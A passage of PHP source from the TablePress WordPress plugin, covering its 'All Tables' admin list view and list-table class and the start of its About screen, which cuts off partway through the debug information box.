. sprintf( __( '<a href="%s">Donations</a> help me to continue user support and development of this <em>free</em> software — things for which I spend countless hours of my free time! Thank you very much!', 'tablepress' ), 'https://tablepress.org/donate/' ) . '<br /><br />'
. __( 'Sincerely, Tobias', 'tablepress' ) . '<br /><br />'
. sprintf( '<a href="%s" target="_blank"><strong>%s</strong></a>', 'https://tablepress.org/donate/', __( 'Sure, I’ll buy you a coffee and support TablePress!', 'tablepress' ) ) . ' · '
. $this->ajax_link( array( 'action' => 'hide_message', 'item' => 'donation_nag', 'return' => 'list', 'target' => 'already-donated' ), __( 'I already donated.', 'tablepress' ) ) . ' · '
. $this->ajax_link( array( 'action' => 'hide_message', 'item' => 'donation_nag', 'return' => 'list', 'target' => 'maybe-later' ), __( 'No, thanks. Don’t ask again.', 'tablepress' ) ),
'notice-success not-dismissible'
);
}
if ( $data['messages']['plugin_update_message'] ) {
$this->add_header_message(
'<strong><em>' . sprintf( __( 'Thank you for updating to TablePress %s!', 'tablepress' ), TablePress::version ) . '</em></strong><br />'
. sprintf( __( 'Please read the <a href="%s">release announcement</a> for more information.', 'tablepress' ), 'https://tablepress.org/news/' ) . ' '
. sprintf( __( 'If you like the new features and enhancements, <a href="%s">giving a donation</a> towards the further support and development of TablePress is recommended. Thank you!', 'tablepress' ), 'https://tablepress.org/donate/' )
. '<br /><br />'
. $this->ajax_link( array( 'action' => 'hide_message', 'item' => 'plugin_update', 'return' => 'list' ), __( 'Hide this message', 'tablepress' ) ),
'notice-info not-dismissible'
);
}
$this->process_action_messages( array(
'success_delete' => _n( 'The table was deleted successfully.', 'The tables were deleted successfully.', 1, 'tablepress' ),
'success_delete_plural' => _n( 'The table was deleted successfully.', 'The tables were deleted successfully.', 2, 'tablepress' ),
'error_delete' => __( 'Error: The table could not be deleted.', 'tablepress' ),
'error_save' => __( 'Error: The table could not be saved.', 'tablepress' ),
'success_copy' => _n( 'The table was copied successfully.', 'The tables were copied successfully.', 1, 'tablepress' ) . ( ( false !== $data['table_id'] ) ? ' ' . sprintf( __( 'The copied table has the table ID “%s”.', 'tablepress' ), esc_html( $data['table_id'] ) ) : '' ),
'success_copy_plural' => _n( 'The table was copied successfully.', 'The tables were copied successfully.', 2, 'tablepress' ),
'error_copy' => __( 'Error: The table could not be copied.', 'tablepress' ),
'error_no_table' => __( 'Error: You did not specify a valid table ID.', 'tablepress' ),
'error_load_table' => __( 'Error: This table could not be loaded!', 'tablepress' ),
'error_bulk_action_invalid' => __( 'Error: This bulk action is invalid!', 'tablepress' ),
'error_no_selection' => __( 'Error: You did not select any tables!', 'tablepress' ),
'error_delete_not_all_tables' => __( 'Notice: Not all selected tables could be deleted!', 'tablepress' ),
'error_copy_not_all_tables' => __( 'Notice: Not all selected tables could be copied!', 'tablepress' ),
'success_import' => __( 'The tables were imported successfully.', 'tablepress' ),
'success_import_wp_table_reloaded' => __( 'The tables were imported successfully from WP-Table Reloaded.', 'tablepress' ),
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
$this->add_text_box( 'tables-list', array( $this, 'textbox_tables_list' ), 'normal' );
add_screen_option( 'per_page', array( 'label' => __( 'Tables', 'tablepress' ), 'default' => 20 ) ); // Admin_Controller contains function to allow changes to this in the Screen Options to be saved
$this->wp_list_table = new TablePress_All_Tables_List_Table();
$this->wp_list_table->set_items( $this->data['table_ids'] );
$this->wp_list_table->prepare_items();
// Cleanup Request URI string, which WP_List_Table uses to generate the sort URLs.
$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message', 'table_id' ), $_SERVER['REQUEST_URI'] );
}
/**
* Render the current view (in this view: without form tag).
*
* @since 1.0.0
*/
public function render() {
?>
<div id="tablepress-page" class="wrap">
<?php
$this->print_nav_tab_menu();
// Print all header messages.
foreach ( $this->header_messages as $message ) {
echo $message;
}
// For this screen, this is done in textbox_tables_list(), to get the fields into the correct <form>:
// $this->do_text_boxes( 'header' );
?>
<div id="poststuff">
<div id="post-body" class="metabox-holder columns-<?php echo ( isset( $GLOBALS['screen_layout_columns'] ) && ( 2 === $GLOBALS['screen_layout_columns'] ) ) ? '2' : '1'; ?>">
<div id="postbox-container-2" class="postbox-container">
<?php
$this->do_text_boxes( 'normal' );
$this->do_meta_boxes( 'normal' );
$this->do_text_boxes( 'additional' );
$this->do_meta_boxes( 'additional' );
// Print all submit buttons.
$this->do_text_boxes( 'submit' );
?>
</div>
<div id="postbox-container-1" class="postbox-container">
<?php
// Print all boxes in the sidebar.
$this->do_text_boxes( 'side' );
$this->do_meta_boxes( 'side' );
?>
</div>
</div>
<br class="clear" />
</div>
</div>
<?php
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php _e( 'This is a list of your tables.', 'tablepress' ); ?>
<?php _e( 'Click the corresponding links within the list to edit, copy, delete, or preview a table.', 'tablepress' ); ?>
</p>
<p>
<label class="screen-reader-only" for="table-shortcode-inline"><?php esc_html_e( 'Shortcode text for editor', 'tablepress' ); ?></label>
<?php printf( __( 'To insert a table into a page, post, or text widget, copy its Shortcode %s and paste it at the desired place in the editor.', 'tablepress' ), '<input type="text" class="table-shortcode table-shortcode-inline" id="table-shortcode-inline" value="' . esc_attr( '[' . TablePress::$shortcode . ' id=<ID> /]' ) . '" readonly="readonly" />' ); ?>
<?php _e( 'Each table has a unique ID that needs to be adjusted in that Shortcode.', 'tablepress' ); ?>
<?php printf( __( 'You can also click the “%s” button in the editor toolbar to select and insert a table.', 'tablepress' ), __( 'Table', 'tablepress' ) ); ?>
</p>
<?php
}
/**
* Print the content of the "All Tables" text box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_tables_list( array $data, array $box ) {
if ( ! empty( $_GET['s'] ) ) {
printf( '<span class="subtitle">' . __( 'Search results for “%s”', 'tablepress' ) . '</span>', esc_html( wp_unslash( $_GET['s'] ) ) );
}
?>
<form method="get" action="">
<?php
if ( isset( $_GET['page'] ) ) {
echo '<input type="hidden" name="page" value="' . esc_attr( $_GET['page'] ) . '" />' . "\n";
}
$this->wp_list_table->search_box( __( 'Search Tables', 'tablepress' ), 'tables_search' );
?>
</form>
<form action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" method="post">
<?php
// This prints the nonce and action fields for this screen (done here instead of render(), due to moved <form>).
$this->do_text_boxes( 'header' );
$this->wp_list_table->display();
?>
</form>
<?php
}
/**
* Create HTML code for an AJAXified link.
*
* @since 1.0.0
*
* @param array $params Parameters for the URL.
* @param string $text Text for the link.
* @return string HTML code for the link.
*/
protected function ajax_link( array $params = array( 'action' => 'list', 'item' => '' ), $text ) {
$url = TablePress::url( $params, true, 'admin-post.php' );
$action = esc_attr( $params['action'] );
$item = esc_attr( $params['item'] );
$target = isset( $params['target'] ) ? esc_attr( $params['target'] ) : '';
return "<a class=\"ajax-link\" href=\"{$url}\" data-action=\"{$action}\" data-item=\"{$item}\" data-target=\"{$target}\">{$text}</a>";
}
} // class TablePress_List_View
/**
* TablePress All Tables List Table Class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @link https://codex.wordpress.org/Class_Reference/WP_List_Table
* @since 1.0.0
*/
class TablePress_All_Tables_List_Table extends WP_List_Table {
/**
* Number of items of the initial data set (before sort, search, and pagination).
*
* @since 1.0.0
* @var int
*/
protected $items_count = 0;
/**
* Initialize the List Table.
*
* @since 1.0.0
*/
public function __construct() {
$screen = get_current_screen();
// Hide "Last Modified By" column by default.
if ( false === get_user_option( 'manage' . $screen->id . 'columnshidden' ) ) {
update_user_option( get_current_user_id(), 'manage' . $screen->id . 'columnshidden', array( 'table_last_modified_by' ), true );
}
parent::__construct( array(
'singular' => 'tablepress-table', // Singular name of the listed records.
'plural' => 'tablepress-all-tables', // Plural name of the listed records.
'ajax' => false, // Does this list table support AJAX?
'screen' => $screen, // WP_Screen object.
) );
}
/**
* Set the data items (here: tables) that are to be displayed by the List Tables, and their original count.
*
* @since 1.0.0
*
* @param array $items Tables to be displayed in the List Table.
*/
public function set_items( array $items ) {
$this->items = $items;
$this->items_count = count( $items );
}
/**
* Check whether the user has permissions for certain AJAX actions.
* (not used, but must be implemented in this child class)
*
* @since 1.0.0
*
* @return bool true (Default value).
*/
public function ajax_user_can() {
return true;
}
/**
* Get a list of columns in this List Table.
*
* Format: 'internal-name' => 'Column Title'.
*
* @since 1.0.0
*
* @return array List of columns in this List Table.
*/
public function get_columns() {
$columns = array(
'cb' => $this->has_items() ? '<input type="checkbox" />' : '', // Checkbox for "Select all", but only if there are items in the table.
// "name" is special in WP, which is why we prefix every entry here, to be safe!
'table_id' => __( 'ID', 'tablepress' ),
'table_name' => __( 'Table Name', 'tablepress' ),
'table_description' => __( 'Description', 'tablepress' ),
'table_author' => __( 'Author', 'tablepress' ),
'table_last_modified_by' => __( 'Last Modified By', 'tablepress' ),
'table_last_modified' => __( 'Last Modified', 'tablepress' ),
);
return $columns;
}
/**
* Get a list of columns that are sortable.
*
* Format: 'internal-name' => array( $field for $item[ $field ], true for already sorted ).
*
* @since 1.0.0
*
* @return array List of sortable columns in this List Table.
*/
protected function get_sortable_columns() {
// No sorting on the Empty List placeholder.
if ( ! $this->has_items() ) {
return array();
}
$sortable_columns = array(
'table_id' => array( 'id', true ), // true means its already sorted
'table_name' => array( 'name', false ),
'table_description' => array( 'description', false ),
'table_author' => array( 'author', false ),
'table_last_modified_by' => array( 'last_modified_by', false ),
'table_last_modified' => array( 'last_modified', false ),
);
return $sortable_columns;
}
/**
* Gets the name of the default primary column.
*
* @since 1.7.0
*
* @return string Name of the default primary column, in this case, the table name.
*/
protected function get_default_primary_column_name() {
return 'table_name';
}
/**
* Render a cell in the "cb" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_cb( /* array */ $item ) { // No `array` type hint to prevent a Strict Standards notice, as the method is inherited.
$user_can_copy_table = current_user_can( 'tablepress_copy_table', $item['id'] );
$user_can_delete_table = current_user_can( 'tablepress_delete_table', $item['id'] );
$user_can_export_table = current_user_can( 'tablepress_export_table', $item['id'] );
if ( $user_can_copy_table || $user_can_delete_table || $user_can_export_table ) {
return sprintf(
'<label><span class="screen-reader-text">%1$s</span><input type="checkbox" name="table[]" value="%2$s" /></label>',
esc_html__( 'Bulk action selector', 'tablepress' ),
esc_attr( $item['id'] )
);
} else {
return '';
}
}
/**
* Render a cell in the "table_id" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_id( array $item ) {
return esc_html( $item['id'] );
}
/**
* Render a cell in the "table_name" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_name( array $item ) {
$user_can_edit_table = current_user_can( 'tablepress_edit_table', $item['id'] );
$user_can_copy_table = current_user_can( 'tablepress_copy_table', $item['id'] );
$user_can_export_table = current_user_can( 'tablepress_export_table', $item['id'] );
$user_can_delete_table = current_user_can( 'tablepress_delete_table', $item['id'] );
$user_can_preview_table = current_user_can( 'tablepress_preview_table', $item['id'] );
$edit_url = TablePress::url( array( 'action' => 'edit', 'table_id' => $item['id'] ) );
$copy_url = TablePress::url( array( 'action' => 'copy_table', 'item' => $item['id'], 'return' => 'list', 'return_item' => $item['id'] ), true, 'admin-post.php' );
$export_url = TablePress::url( array( 'action' => 'export', 'table_id' => $item['id'] ) );
$delete_url = TablePress::url( array( 'action' => 'delete_table', 'item' => $item['id'], 'return' => 'list', 'return_item' => $item['id'] ), true, 'admin-post.php' );
$preview_url = TablePress::url( array( 'action' => 'preview_table', 'item' => $item['id'], 'return' => 'list', 'return_item' => $item['id'] ), true, 'admin-post.php' );
if ( '' === trim( $item['name'] ) ) {
$item['name'] = __( '(no name)', 'tablepress' );
}
if ( $user_can_edit_table ) {
$row_text = '<strong><a title="' . esc_attr( sprintf( __( 'Edit “%s”', 'tablepress' ), esc_attr( $item['name'] ) ) ) . '" class="row-title" href="' . $edit_url . '">' . esc_html( $item['name'] ) . '</a></strong>';
} else {
$row_text = '<strong>' . esc_html( $item['name'] ) . '</strong>';
}
$row_actions = array();
if ( $user_can_edit_table ) {
$row_actions['edit'] = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', $edit_url, esc_attr( sprintf( __( 'Edit “%s”', 'tablepress' ), $item['name'] ) ), __( 'Edit', 'tablepress' ) );
}
$row_actions['shortcode hide-if-no-js'] = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', '#', esc_attr( '[' . TablePress::$shortcode . " id={$item['id']} /]" ), __( 'Show Shortcode', 'tablepress' ) );
if ( $user_can_copy_table ) {
$row_actions['copy'] = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', $copy_url, esc_attr( sprintf( __( 'Copy “%s”', 'tablepress' ), $item['name'] ) ), __( 'Copy', 'tablepress' ) );
}
if ( $user_can_export_table ) {
$row_actions['export'] = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', $export_url, esc_attr( sprintf( __( 'Export “%s”', 'tablepress' ), $item['name'] ) ), _x( 'Export', 'row action', 'tablepress' ) );
}
if ( $user_can_delete_table ) {
$row_actions['delete'] = sprintf( '<a href="%1$s" title="%2$s" class="delete-link">%3$s</a>', $delete_url, esc_attr( sprintf( __( 'Delete “%s”', 'tablepress' ), $item['name'] ) ), __( 'Delete', 'tablepress' ) );
}
if ( $user_can_preview_table ) {
$row_actions['table-preview'] = sprintf( '<a href="%1$s" title="%2$s" target="_blank">%3$s</a>', $preview_url, esc_attr( sprintf( __( 'Show a preview of “%s”', 'tablepress' ), $item['name'] ) ), __( 'Preview', 'tablepress' ) );
}
return $row_text . $this->row_actions( $row_actions );
}
/**
* Render a cell in the "table_description" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_description( array $item ) {
if ( '' === trim( $item['description'] ) ) {
$item['description'] = __( '(no description)', 'tablepress' );
}
return esc_html( $item['description'] );
}
/**
* Render a cell in the "table_author" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_author( array $item ) {
return TablePress::get_user_display_name( $item['author'] );
}
/**
* Render a cell in the "last_modified_by" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_last_modified_by( array $item ) {
return TablePress::get_user_display_name( $item['options']['last_editor'] );
}
/**
* Render a cell in the "table_last_modified" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_last_modified( array $item ) {
$modified_timestamp = strtotime( $item['last_modified'] );
$current_timestamp = current_time( 'timestamp' );
$time_diff = $current_timestamp - $modified_timestamp;
// Time difference is only shown up to one day.
if ( $time_diff >= 0 && $time_diff < DAY_IN_SECONDS ) {
$time_diff = sprintf( __( '%s ago', 'tablepress' ), human_time_diff( $modified_timestamp, $current_timestamp ) );
} else {
$time_diff = TablePress::format_datetime( $item['last_modified'], 'mysql', '<br />' );
}
$readable_time = TablePress::format_datetime( $item['last_modified'], 'mysql', ' ' );
return '<abbr title="' . esc_attr( $readable_time ) . '">' . $time_diff . '</abbr>';
}
/**
* Handles output for the default column.
*
* @since 1.8.0
*
* @param array $item Data item for the current row.
* @param string $column_name Current column name.
*/
protected function column_default( /* array */ $item, $column_name ) { // No `array` type hint to prevent a Strict Standards notice, as the method is inherited.
/**
* Fires inside each custom column of the TablePress list table.
*
* @since 1.8.0
*
* @param array $column_name Current column name.
* @param string $item Data item for the current row.
*/
do_action( 'manage_tablepress_list_custom_column', $column_name, $item );
}
/**
* Get a list (name => title) bulk actions that are available.
*
* @since 1.0.0
*
* @return array Bulk actions for this table.
*/
protected function get_bulk_actions() {
$bulk_actions = array();
if ( current_user_can( 'tablepress_copy_tables' ) ) {
$bulk_actions['copy'] = _x( 'Copy', 'bulk action', 'tablepress' );
}
if ( current_user_can( 'tablepress_export_tables' ) ) {
$bulk_actions['export'] = _x( 'Export', 'bulk action', 'tablepress' );
}
if ( current_user_can( 'tablepress_delete_tables' ) ) {
$bulk_actions['delete'] = _x( 'Delete', 'bulk action', 'tablepress' );
}
return $bulk_actions;
}
/**
* Render the bulk actions dropdown.
*
* In comparison with parent class, this has modified HTML (especially no field named "action" as that's being used already)!
*
* @since 1.0.0
*
* @param string $which The location of the bulk actions: 'top' or 'bottom'.
* This is designated as optional for backwards-compatibility.
*/
protected function bulk_actions( $which = '' ) {
if ( is_null( $this->_actions ) ) {
$no_new_actions = $this->_actions = $this->get_bulk_actions();
/** This filter is documented in the WordPress function WP_List_Table::bulk_actions() in wp-admin/includes/class-wp-list-table.php */
$this->_actions = apply_filters( 'bulk_actions-' . $this->screen->id, $this->_actions );
$this->_actions = array_intersect_assoc( $this->_actions, $no_new_actions );
$two = '';
} else {
$two = '2';
}
if ( empty( $this->_actions ) ) {
return;
}
$name_id = "bulk-action-{$which}";
echo "<label for='{$name_id}' class='screen-reader-text'>" . __( 'Select Bulk Action', 'tablepress' ) . "</label>\n";
echo "<select name='{$name_id}' id='{$name_id}'>\n";
echo "<option value='-1' selected='selected'>" . __( 'Bulk Actions', 'tablepress' ) . "</option>\n";
foreach ( $this->_actions as $name => $title ) {
echo "\t<option value='{$name}'>{$title}</option>\n";
}
echo "</select>\n";
submit_button( __( 'Apply', 'tablepress' ), 'action', '', false, array( 'id' => "doaction{$two}" ) );
echo "\n";
}
/**
* Holds the message to be displayed when there are no items in the table.
*
* @since 1.0.0
*/
public function no_items() {
_e( 'No tables found.', 'tablepress' );
if ( 0 === $this->items_count ) {
$user_can_add_tables = current_user_can( 'tablepress_add_tables' );
$user_can_import_tables = current_user_can( 'tablepress_import_tables' );
$add_url = TablePress::url( array( 'action' => 'add' ) );
$import_url = TablePress::url( array( 'action' => 'import' ) );
if ( $user_can_add_tables && $user_can_import_tables ) {
echo ' ' . sprintf( __( 'You should <a href="%1$s">add</a> or <a href="%2$s">import</a> a table to get started!', 'tablepress' ), $add_url, $import_url );
} elseif ( $user_can_add_tables ) {
echo ' ' . sprintf( __( 'You should <a href="%s">add</a> a table to get started!', 'tablepress' ), $add_url );
} elseif ( $user_can_import_tables ) {
echo ' ' . sprintf( __( 'You should <a href="%s">import</a> a table to get started!', 'tablepress' ), $import_url );
}
}
}
/**
* Generate the elements above or below the table (like bulk actions and pagination).
*
* In comparison with parent class, this has modified HTML (no nonce field), and a check whether there are items.
*
* @since 1.0.0
*
* @param string $which Location ("top" or "bottom").
*/
protected function display_tablenav( $which ) {
if ( ! $this->has_items() ) {
return;
}
?>
<div class="tablenav <?php echo esc_attr( $which ); ?>">
<div class="alignleft actions">
<?php $this->bulk_actions( $which ); ?>
</div>
<?php
$this->extra_tablenav( $which );
$this->pagination( $which );
?>
<br class="clear" />
</div>
<?php
}
/**
* Callback to determine whether the given $item contains the search term.
*
* @since 1.0.0
*
* @param string $item Table ID that shall be searched.
* @return bool Whether the search term was found or not.
*/
protected function _search_callback( $item ) {
static $term, $json_encoded_term;
if ( is_null( $term ) || is_null( $json_encoded_term ) ) {
$term = wp_unslash( $_GET['s'] );
$json_encoded_term = substr( wp_json_encode( $term, TABLEPRESS_JSON_OPTIONS ), 1, -1 );
}
static $debug;
if ( is_null( $debug ) ) {
// Set debug variable to allow searching in corrupted tables.
$debug = isset( $_GET['debug'] ) ? ( 'true' === $_GET['debug'] ) : WP_DEBUG;
}
// load table again, with data and options (for last_editor).
$item = TablePress::$model_table->load( $item, true, true );
// Don't search corrupted tables, except when debug mode is enabled via $_GET parameter or WP_DEBUG constant.
if ( ! $debug && isset( $item['is_corrupted'] ) && $item['is_corrupted'] ) {
return false;
}
// Search from easy to hard, so that "expensive" code maybe doesn't have to run.
if ( false !== stripos( $item['id'], $term )
|| false !== stripos( $item['name'], $term )
|| false !== stripos( $item['description'], $term )
|| false !== stripos( TablePress::get_user_display_name( $item['author'] ), $term )
|| false !== stripos( TablePress::get_user_display_name( $item['options']['last_editor'] ), $term )
|| false !== stripos( TablePress::format_datetime( $item['last_modified'], 'mysql', ' ' ), $term )
|| false !== stripos( wp_json_encode( $item['data'], TABLEPRESS_JSON_OPTIONS ), $json_encoded_term ) ) {
return true;
}
return false;
}
/**
* Callback to for the array sort function.
*
* @since 1.0.0
*
* @param array $item_a First item that shall be compared to.
* @param array $item_b The second item for the comparison.
* @return int (-1, 0, 1) depending on which item sorts "higher".
*/
protected function _order_callback( array $item_a, array $item_b ) {
global $orderby, $order;
if ( 'last_modified_by' !== $orderby ) {
if ( $item_a[ $orderby ] === $item_b[ $orderby ] ) {
return 0;
}
} else {
if ( $item_a['options']['last_editor'] === $item_b['options']['last_editor'] ) {
return 0;
}
}
// Certain fields require some extra work before being sortable.
switch ( $orderby ) {
case 'last_modified':
// Compare UNIX timestamps for "last modified", which actually is a mySQL datetime string.
$result = ( strtotime( $item_a['last_modified'] ) > strtotime( $item_b['last_modified'] ) ) ? 1 : -1;
break;
case 'author':
// Get the actual author name, plain value is just the user ID.
$result = strnatcasecmp( TablePress::get_user_display_name( $item_a['author'] ), TablePress::get_user_display_name( $item_b['author'] ) );
break;
case 'last_modified_by':
// Get the actual last editor name, plain value is just the user ID.
$result = strnatcasecmp( TablePress::get_user_display_name( $item_a['options']['last_editor'] ), TablePress::get_user_display_name( $item_b['options']['last_editor'] ) );
break;
default:
// Other fields (ID, name, description) are sorted as strings.
$result = strnatcasecmp( $item_a[ $orderby ], $item_b[ $orderby ] );
}
return ( 'asc' === $order ) ? $result : - $result;
}
/**
* Prepares the list of items for displaying, by maybe searching and sorting, and by doing pagination.
*
* @since 1.0.0
*/
public function prepare_items() {
global $orderby, $order, $s;
wp_reset_vars( array( 'orderby', 'order', 's' ) );
// Maybe search in the items.
if ( $s ) {
$this->items = array_filter( $this->items, array( $this, '_search_callback' ) );
}
// Load actual tables after search for less memory consumption.
foreach ( $this->items as &$item ) {
// Don't load data, but load table options for access to last_editor.
$item = TablePress::$model_table->load( $item, false, true );
}
// Break reference in foreach iterator.
unset( $item );
// Maybe sort the items.
$_sortable_columns = $this->get_sortable_columns();
if ( $orderby && ! empty( $this->items ) && isset( $_sortable_columns[ "table_{$orderby}" ] ) ) {
usort( $this->items, array( $this, '_order_callback' ) );
}
// Number of records to show per page.
$per_page = $this->get_items_per_page( 'tablepress_list_per_page', 20 ); // hard-coded, as in filter in Admin_Controller
// Page number the user is currently viewing.
$current_page = $this->get_pagenum();
// Number of records in the array.
$total_items = count( $this->items );
// Slice items array to hold only items for the current page.
$this->items = array_slice( $this->items, ( ( $current_page - 1 ) * $per_page ), $per_page );
// Register pagination options and calculation results.
$this->set_pagination_args( array(
'total_items' => $total_items, // Total number of records/items
'per_page' => $per_page, // Number of items per page
'total_pages' => ceil( $total_items / $per_page ), // Total number of pages
) );
}
} // class TablePress_All_Tables_List_Table
view-about.php 0000666 00000025211 15112402147 0007341 0 ustar 00 <?php
/**
* About TablePress View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* About TablePress View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_About_View extends TablePress_View {
/**
* Number of screen columns for post boxes on this screen.
*
* @since 1.0.0
* @var int
*/
protected $screen_columns = 2;
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
$this->add_meta_box( 'plugin-purpose', __( 'Plugin Purpose', 'tablepress' ), array( $this, 'postbox_plugin_purpose' ), 'normal' );
$this->add_meta_box( 'usage', __( 'Usage', 'tablepress' ), array( $this, 'postbox_usage' ), 'normal' );
$this->add_meta_box( 'more-information', __( 'More Information and Documentation', 'tablepress' ), array( $this, 'postbox_more_information' ), 'normal' );
$this->add_meta_box( 'help-support', __( 'Help and Support', 'tablepress' ), array( $this, 'postbox_help_support' ), 'normal' );
$this->add_meta_box( 'author-license', __( 'Author and License', 'tablepress' ), array( $this, 'postbox_author_license' ), 'side' );
$this->add_meta_box( 'credits-thanks', __( 'Credits and Thanks', 'tablepress' ), array( $this, 'postbox_credits_thanks' ), 'side' );
$this->add_meta_box( 'debug-version-information', __( 'Debug and Version Information', 'tablepress' ), array( $this, 'postbox_debug_version_information' ), 'side' );
}
/**
* Print the content of the "Plugin Purpose" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_plugin_purpose( array $data, array $box ) {
?>
<p>
<?php _e( 'TablePress allows you to create and manage tables in the admin area of WordPress.', 'tablepress' ); ?>
<?php _e( 'Tables may contain text, numbers and even HTML (e.g. to include images or links).', 'tablepress' ); ?>
<?php _e( 'You can then show the tables in your posts, on your pages, or in text widgets by using a Shortcode.', 'tablepress' ); ?>
<?php _e( 'If you want to show your tables anywhere else in your theme, you can use a Template Tag function.', 'tablepress' ); ?>
</p>
<?php
}
/**
* Print the content of the "Usage" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_usage( array $data, array $box ) {
?>
<p>
<?php _e( 'At first, you should add or import a table.', 'tablepress' ); ?>
<?php _e( 'This means that you either let the plugin create an empty table for you or that you load an existing table from either a CSV, HTML, JSON, XLS, or XLSX file.', 'tablepress' ); ?>
</p>
<p>
<?php _e( 'Then you can edit your data or change the structure of your table (e.g. by inserting, deleting, moving, or swapping rows or columns or sorting them) and select specific table features like alternating row colors or whether to print the name or description, if you want.', 'tablepress' ); ?>
<?php _e( 'To easily add a link or an image to a cell, use the provided buttons.', 'tablepress' ); ?>
<?php _e( 'Those will ask you for the necessary information and corresponding HTML code will be added to the cell automatically.', 'tablepress' ); ?>
</p>
<p>
<label class="screen-reader-text" for="table-shortcode-inline"><?php esc_html_e( 'Shortcode text for editor', 'tablepress' ); ?></label>
<?php printf( __( 'To insert a table into a page, post, or text widget, copy its Shortcode %s and paste it at the desired place in the editor.', 'tablepress' ), '<input type="text" class="table-shortcode table-shortcode-inline" id="table-shortcode-inline" value="' . esc_attr( '[' . TablePress::$shortcode . ' id=<ID> /]' ) . '" readonly="readonly" />' ); ?>
<?php printf( __( 'You can also click the “%s” button in the editor toolbar to select and insert a table.', 'tablepress' ), __( 'Table', 'tablepress' ) ); ?>
</p>
<p>
<?php _e( 'Tables can be styled by changing and adding CSS commands.', 'tablepress' ); ?>
<?php _e( 'The plugin ships with default CSS stylesheets, which can be customized with own code or replaced with other stylesheets.', 'tablepress' ); ?>
<?php _e( 'For this, each table is given certain CSS classes that can be used as CSS selectors.', 'tablepress' ); ?>
<?php printf( __( 'Please see the <a href="%s">documentation</a> for a list of these selectors and for styling examples.', 'tablepress' ), 'https://tablepress.org/documentation/' ); ?>
</p>
<?php
}
/**
* Print the content of the "More Information and Documentation" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_more_information( array $data, array $box ) {
?>
<p>
<?php printf( __( 'More information about TablePress can be found on the <a href="%1$s">plugin’s website</a> or on its page in the <a href="%2$s">WordPress Plugin Directory</a>.', 'tablepress' ), 'https://tablepress.org/', 'https://wordpress.org/plugins/tablepress/' ); ?>
<?php printf( __( 'For technical information, please see the <a href="%s">documentation</a>.', 'tablepress' ), 'https://tablepress.org/documentation/' ); ?>
</p>
<?php
}
/**
* Print the content of the "Author and License" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_author_license( array $data, array $box ) {
?>
<p>
<?php printf( __( 'This plugin was written and developed by <a href="%s">Tobias Bäthge</a>.', 'tablepress' ), 'https://tobias.baethge.com/' ); ?>
<?php _e( 'It is licensed as Free Software under GNU General Public License 2 (GPL 2).', 'tablepress' ); ?>
<br />
<?php printf( __( 'If you like the plugin, <a href="%s"><strong>giving a donation</strong></a> is recommended.', 'tablepress' ), 'https://tablepress.org/donate/' ); ?>
<?php printf( __( 'Please rate and review the plugin in the <a href="%s">WordPress Plugin Directory</a>.', 'tablepress' ), 'https://wordpress.org/support/view/plugin-reviews/tablepress' ); ?>
<br />
<?php _e( 'Donations and good ratings encourage me to further develop the plugin and to provide countless hours of support. Any amount is appreciated! Thanks!', 'tablepress' ); ?>
</p>
<?php
}
/**
* Print the content of the "Help and Support" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_help_support( array $data, array $box ) {
?>
<p>
<?php printf( __( '<a href="%1$s">Support</a> is provided through the <a href="%2$s">WordPress Support Forums</a>.', 'tablepress' ), 'https://tablepress.org/support/', 'https://wordpress.org/support/plugin/tablepress' ); ?>
<?php printf( __( 'Before asking for support, please carefully read the <a href="%s">Frequently Asked Questions</a>, where you will find answers to the most common questions, and search through the forums.', 'tablepress' ), 'https://tablepress.org/faq/' ); ?>
</p>
<p>
<?php printf( __( 'If you do not find an answer there, please <a href="%s">open a new thread</a> in the WordPress Support Forums.', 'tablepress' ), 'https://wordpress.org/support/plugin/tablepress' ); ?>
</p>
<?php
}
/**
* Print the content of the "Debug and Version Information" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_debug_version_information( array $data, array $box ) {
$mysqli = ( isset( $GLOBALS['wpdb'] ) && isset( $GLOBALS['wpdb']->use_mysqli ) && $GLOBALS['wpdb']->use_mysqli && isset( $GLOBALS['wpdb']->dbh ) );
?>
<p>
